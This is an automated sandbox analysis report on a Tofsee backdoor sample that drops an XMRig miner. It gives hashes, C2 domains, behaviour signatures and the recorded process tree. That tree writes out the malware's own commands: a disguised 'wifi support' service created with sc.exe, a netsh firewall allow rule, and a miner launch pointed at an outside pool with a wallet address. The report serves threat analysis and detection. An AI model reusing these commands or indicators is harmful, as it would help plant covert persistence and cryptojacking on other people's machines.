Analysis

  • max time kernel
    151s
  • max time network
    182s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    24-11-2022 14:09

General

  • Target

    41ba8b23261f263ddf53c94df2c776bcf4b100c46f39bebaccd1e0ee54f696ab.exe

  • Size

    164KB

  • MD5

    b4a23677748b413c396d816f0fc84330

  • SHA1

    598420f5aee2eca4a78e6cc0e1fb8a4cd2f5bf6d

  • SHA256

    41ba8b23261f263ddf53c94df2c776bcf4b100c46f39bebaccd1e0ee54f696ab

  • SHA512

    95a3e2a2b16000f599f7a535eb0b5ca5f45741d1e88bf78141ef687b6aec228acff847196c2ddfc1a75e2efe7d46469656e1449e6278539b17d25b9c8ea94339

  • SSDEEP

    3072:Da34z4WZ53xM3qg55qYe1xHng0fOCUGzo3D:D3X+3ZqhxXO

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\41ba8b23261f263ddf53c94df2c776bcf4b100c46f39bebaccd1e0ee54f696ab.exe
    "C:\Users\Admin\AppData\Local\Temp\41ba8b23261f263ddf53c94df2c776bcf4b100c46f39bebaccd1e0ee54f696ab.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1448
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\kyhyhdye\
      2⤵
        PID:3336
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\xrtbxrxq.exe" C:\Windows\SysWOW64\kyhyhdye\
        2⤵
          PID:2536
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create kyhyhdye binPath= "C:\Windows\SysWOW64\kyhyhdye\xrtbxrxq.exe /d\"C:\Users\Admin\AppData\Local\Temp\41ba8b23261f263ddf53c94df2c776bcf4b100c46f39bebaccd1e0ee54f696ab.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:4004
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description kyhyhdye "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:5036
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start kyhyhdye
          2⤵
          • Launches sc.exe
          PID:4236
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:4312
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 1448 -s 1040
          2⤵
          • Program crash
          PID:628
      • C:\Windows\SysWOW64\kyhyhdye\xrtbxrxq.exe
        C:\Windows\SysWOW64\kyhyhdye\xrtbxrxq.exe /d"C:\Users\Admin\AppData\Local\Temp\41ba8b23261f263ddf53c94df2c776bcf4b100c46f39bebaccd1e0ee54f696ab.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:2096
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:1992
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:3096
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 2096 -s 520
          2⤵
          • Program crash
          PID:3984
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 460 -p 1448 -ip 1448
        1⤵
          PID:2200
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 2096 -ip 2096
          1⤵
            PID:2488

          Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Temp\xrtbxrxq.exe

            Filesize

            11.4MB

            MD5

            2c725adca3c2d6221f0e0329c7d49928

            SHA1

            1b44a359d0de743a89890ff9408889ab04180182

            SHA256

            bdce73009c90649686f82b0d9506d28214b0f894711c551ce50f3f1e29360b38

            SHA512

            9f50e398d079ed22f628b08c0334b9865c094d66fea5a75e6a6cd2112b3c6e9b3bf563151dfee353586647968919cb5ecf10cedabdbcf1a5f618962c605f6540

          • C:\Windows\SysWOW64\kyhyhdye\xrtbxrxq.exe

            Filesize

            11.4MB

            MD5

            2c725adca3c2d6221f0e0329c7d49928

            SHA1

            1b44a359d0de743a89890ff9408889ab04180182

            SHA256

            bdce73009c90649686f82b0d9506d28214b0f894711c551ce50f3f1e29360b38

            SHA512

            9f50e398d079ed22f628b08c0334b9865c094d66fea5a75e6a6cd2112b3c6e9b3bf563151dfee353586647968919cb5ecf10cedabdbcf1a5f618962c605f6540

          • memory/1448-133-0x00000000022C0000-0x00000000022D3000-memory.dmp

            Filesize

            76KB

          • memory/1448-134-0x0000000000400000-0x000000000058E000-memory.dmp

            Filesize

            1.6MB

          • memory/1448-132-0x00000000005B8000-0x00000000005C9000-memory.dmp

            Filesize

            68KB

          • memory/1448-144-0x0000000000400000-0x000000000058E000-memory.dmp

            Filesize

            1.6MB

          • memory/1448-143-0x00000000005B8000-0x00000000005C9000-memory.dmp

            Filesize

            68KB

          • memory/1992-159-0x00000000023A0000-0x00000000023B0000-memory.dmp

            Filesize

            64KB

          • memory/1992-152-0x0000000000DE0000-0x0000000000DF5000-memory.dmp

            Filesize

            84KB

          • memory/1992-168-0x00000000031D0000-0x00000000031D7000-memory.dmp

            Filesize

            28KB

          • memory/1992-165-0x0000000007C00000-0x000000000800B000-memory.dmp

            Filesize

            4.0MB

          • memory/1992-162-0x00000000023F0000-0x00000000023F5000-memory.dmp

            Filesize

            20KB

          • memory/1992-156-0x00000000011F0000-0x00000000011F6000-memory.dmp

            Filesize

            24KB

          • memory/1992-145-0x0000000000000000-mapping.dmp

          • memory/1992-146-0x0000000000DE0000-0x0000000000DF5000-memory.dmp

            Filesize

            84KB

          • memory/1992-153-0x0000000002C00000-0x0000000002E0F000-memory.dmp

            Filesize

            2.1MB

          • memory/1992-151-0x0000000000DE0000-0x0000000000DF5000-memory.dmp

            Filesize

            84KB

          • memory/2096-150-0x0000000000400000-0x000000000058E000-memory.dmp

            Filesize

            1.6MB

          • memory/2096-149-0x0000000000893000-0x00000000008A4000-memory.dmp

            Filesize

            68KB

          • memory/2536-136-0x0000000000000000-mapping.dmp

          • memory/3096-172-0x0000000000400000-0x00000000004F1000-memory.dmp

            Filesize

            964KB

          • memory/3096-171-0x0000000000000000-mapping.dmp

          • memory/3096-177-0x0000000000400000-0x00000000004F1000-memory.dmp

            Filesize

            964KB

          • memory/3336-135-0x0000000000000000-mapping.dmp

          • memory/4004-138-0x0000000000000000-mapping.dmp

          • memory/4236-140-0x0000000000000000-mapping.dmp

          • memory/4312-142-0x0000000000000000-mapping.dmp

          • memory/5036-139-0x0000000000000000-mapping.dmp